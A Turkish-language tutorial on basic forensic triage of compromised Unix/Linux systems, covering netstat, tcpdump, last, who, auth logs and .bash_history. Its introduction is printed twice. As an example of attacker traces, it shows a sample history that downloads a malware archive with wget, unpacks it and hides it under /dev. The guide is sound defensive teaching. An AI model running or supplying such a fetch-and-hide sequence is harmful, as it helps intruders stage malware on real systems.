Hazırlanan teknik yazının amacı *NIX sistemleri özelinde adli bilişim konusundaki Türkçe çalışmaların eksikliğini bir ölçüde de olsa kapatmaktır.
Bu yazı *NIX sistemlerinde uygulanabilecek ve sadece temel adli (forensik) analiz tekniklerini kapsayacaktır. Kullanılan yazılımlar oldukça genel tutulmaya çalışılmıştır. Sizin karşı karşıya bulunduğunuz durumlar için daha uygun bir yazılım var ise ona yönelmeniz daha doğru olacaktır.
Bu teknik yazı ve ardından yayınlanması planlanan yazılar sonunda anlatılan tekniklerle:
Önemli Uyarı: Herhangi bir adım atmadan önce önemli bir karar verilmelidir. Eğer var olan saldırıya kolluk kuvvetlerini dahil edilecek ve saldırgan hakkında soruşturma başlatılacaksa kesinlikle sistemi olduğu şekilde bırakmak ve hiç bir şekilde sistem üzerinde bir değişiklik yapmamak gerekmektedir.
Saldırı sonrası yapılacak herhangi bir değişiklik, var olan delilleri değiştirebilir ya da tümüyle ortadan kaldırabilir. Bu nedenle şirketlerin bu türlü durumlar için "saldırıya uğramış sistemlere dokunmama ve asla fişini çekme" kuralını uygulamasında yarar vardır. Bu şekilde kolluk kuvvetleri varıncaya kadar deliller korunmuş olur.
Bilişim Suçları ve Sistemleri Şube Müdürlüğüne bağlı görevli memurlar, büyük olasılıkla komple bir şekilde saldırıya uğramış sistemi veya en azından sürücülerini içindeki bilgileri güvenli bir biçimde saklamak için isteyeceklerdir. Bu noktadan itibaren sizin adli bilişim analiziniz bitmiş bulunmaktadir.
Eğer saldırıyı kendi bünyenizde araştıracaksanız bu makalede ve sonrasında yayınlanacak makalelerde sunulan örneklerden faydalanılabilir.
Motivasyon Bu yazı *NIX sistemlerinde uygulanabilecek ve sadece temel adli (forensik) analiz tekniklerini kapsayacaktır. Kullanılan yazılımlar oldukça genel tutulmaya çalışılmıştır. Sizin karşı karşıya bulunduğunuz durumlar için daha uygun bir yazılım var ise ona yönelmeniz daha doğru olacaktır.
Bu teknik yazı ve ardından yayınlanması planlanan yazılar sonunda anlatılan tekniklerle:
- Ele geçirilmiş sistemleri inceleyebilir,
- Sistemin nasıl ele geçirildiğini öğrenebilir,
- İleri düzeyde inceleme için gerekli temel bilgilere sahip olabilirsiniz.
Önemli Uyarı: Herhangi bir adım atmadan önce önemli bir karar verilmelidir. Eğer var olan saldırıya kolluk kuvvetlerini dahil edilecek ve saldırgan hakkında soruşturma başlatılacaksa kesinlikle sistemi olduğu şekilde bırakmak ve hiç bir şekilde sistem üzerinde bir değişiklik yapmamak gerekmektedir.
Saldırı sonrası yapılacak herhangi bir değişiklik, var olan delilleri değiştirebilir ya da tümüyle ortadan kaldırabilir. Bu nedenle şirketlerin bu türlü durumlar için "saldırıya uğramış sistemlere dokunmama ve asla fişini çekme" kuralını uygulamasında yarar vardır. Bu şekilde kolluk kuvvetleri varıncaya kadar deliller korunmuş olur.
Bilişim Suçları ve Sistemleri Şube Müdürlüğüne bağlı görevli memurlar, büyük olasılıkla komple bir şekilde saldırıya uğramış sistemi veya en azından sürücülerini içindeki bilgileri güvenli bir biçimde saklamak için isteyeceklerdir. Bu noktadan itibaren sizin adli bilişim analiziniz bitmiş bulunmaktadir.
Eğer saldırıyı kendi bünyenizde araştıracaksanız bu makalede ve sonrasında yayınlanacak makalelerde sunulan örneklerden faydalanılabilir.
Kimse mükemmel değildir. Herkes hata yapabilir. Ancak, aynı hataya iki kez düşmekten mümkün olduğunca kaçınılmalıdır.
Yazılarda yer alan komutlardan bazıları sadece root kullanıcısının çalıştırabileceği komutlardır. Bu nedenle root olarak sisteme giriş yapılması veya sudo ile komutların çalıştırılması gerekmektedir.
Ağ bağlantıları ve açık portlar netstat komutu ile kontrol edilir.
Kod:
# netstat -an
Bu komut yardımıyla herhangi bir arka kapı "backdoor" var ise görülebilir.
tcp 0 0 0.0.0.0:6697 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN
Yukarıdaki çıktıya göre IRC için kullanılan 6697 portu açık görünmekte. Bu iyiye işaret olmayabilir. tcpdump yardımı ile bu porttaki bağlantı dinlenebilir. (tcpdump ile ilgili bir teknik yazıyı ilerleyen günlerde yayınlanacaktır.)
Kod:
# tcpdump port 6697
Bu noktada saldırganların "hacker" iletişimi büyük ihtimalle görülebilir ve sistemin nasıl ele geçirildiği hakkında bilgi sahibi olunabilir.
Brute-force attack oldukça popüler bir saldırı şeklidir. Saldırıyı gerçekleştiren kişiler last komutu yardımıyla saptanabilir.
last komutu kullanıcının giriş ve çıkış zamanlarının belirlenmesinden, bilgisayar-adı (hostname) ve IP adresi bilgilerinin elde edilmesinde kullanılabilir.
# last -25
Yukarıdaki komut, sistemde oturum açan son 25 kullanıcı hakkında bilgi verir.
/var/log/auth_log dosyası da başarılı veya başarısız oturum açma girişimleri ile ilgili bilgiler içermektedir.
Hiç bir suç mükemmel değildir. Bu adli bilişim için çok doğru bir saptamadır. Çok az sayıda saldırgan parmak izini bırakmadan dijital suç işleyebilir.
Örneğin, birçok saldırgan .bash_history dosyasında önemli ip uçları bırakarak sistemi terkeder. .bash_history dosyası kullanıcıların çalıştırdığı son komutları içerir.
bash_history dosyası bize saldırganların neler yaptıkları, hangi programları yükledikleri, indirdikleri dosyaları nerelerden aldıkları hakkında bir çok bilgi verebilir. Saldırıya uğramış bir Linux makinesi aşağıdaki tarzda kayıtlar içerebilir.
wget http://malware.tar.gz
gunzip malware.tar.gz
tar xf malware.tar
cd hpd
cd ..
rm malware.tar
cd /dev/.hpd
Yukarıda görülen komutlar bize kötü amaçlı yazılımın nereden alındığı, nasıl çalıştırıldığı ve nereye yüklendiği hakkında bir fikir vermektedir. Bu bilgiler elde edildikten sonra, yapılması gereken ilk iş saldırganın klasörlerine detaylı bir şekilde göz atmak olmalıdır.
.bash_history dosyasının bilgileri ne biçimde tuttuğu konusunda dikkatli olunmalıdır. .bash_history dosyası sadece kullanıcı oturumu kapattıktan sonra onun çalıştırdığı tüm komutları gösterir.
Eğer saldırganın hala açık bulunan bir oturumu varsa ve onun .bash_history dosyası inceleniyorsa, boş bir dosya görülebilir.
Bu gibi durumlarda açık olan oturumları görebilmek için who komutunu kullanılabilir.
# who
user1 pts/0 Nov 18 23:33 (1.2.3.4)
user2 pts/1 Nov 16 10:22 (5.6.7.8)
Bu sistemde user1 ve user2 olmak üzere iki aktif kullanıcı görünmektedir. Eğer user2 hesabı ele geçirilmiş bir hesap ise, tcpdump ile bu kullanıcının etkinliği izlenebilir.
# tcpdump host 5.6.7.8 -w demo.dump
Bu komut ile kullanıcının oturumu açtığı IP olan 5.6.7.8' i izlenerek demo.dump dosyasına tüm trafiği yazılmaktadır. Daha sonra tcpdump komutunun -r parametresi ile bu dosya okunabilir.
history komutuda oturumu açtığınız kullanıcının son çalıştırılmış komutlarını listeler.
history komutu ve .bash_history dosyasından daha etkin bilgi alabilmek icin /etc/profile dosyasında bazı düzenlemeler yapılabilir.
/etc/profile dosyası uygun bir editör ile açılarak sonuna aşağıdaki satır eklenmelidir.
Kod:
export HISTTIMEFORMAT="%h/%d - %H:%M:%S "
Artık komutların ne zaman çalıştırıldığıda görülebilecektir.
Önceden çallıştırılmış komutların zamanı .bash_history dosyasında olmayacaktır. Bu nedenle sistem daha ele geçirilmeden bu değişikliğin yapılması gerekmektedir.
Bu teknik yazıda ele geçirilmiş (compromised) Unix/Linux sistemleri hakkında ağ bağlantısını kontrol etme, aktif oturumu olan kullanıcıları öğrenme, kullanıcıların son çalıştırdığı komutları görme, IP'lerini ve makine isimlerini öğrenme gibi temel bilgiler edinilmesi hedeflendi.
Bu bilgilerin hepsi davetsiz misafirleri kontrol etmek ve sistemde var olan açıkları öğrenmek için oldukça kritik öneme sahiptir.
Bir sonraki teknik yazıda dijital saldırıya uğramış Linux sistemlerini incelemek için kullanabilecek temel araçlar hakkında bilgi verilecektir.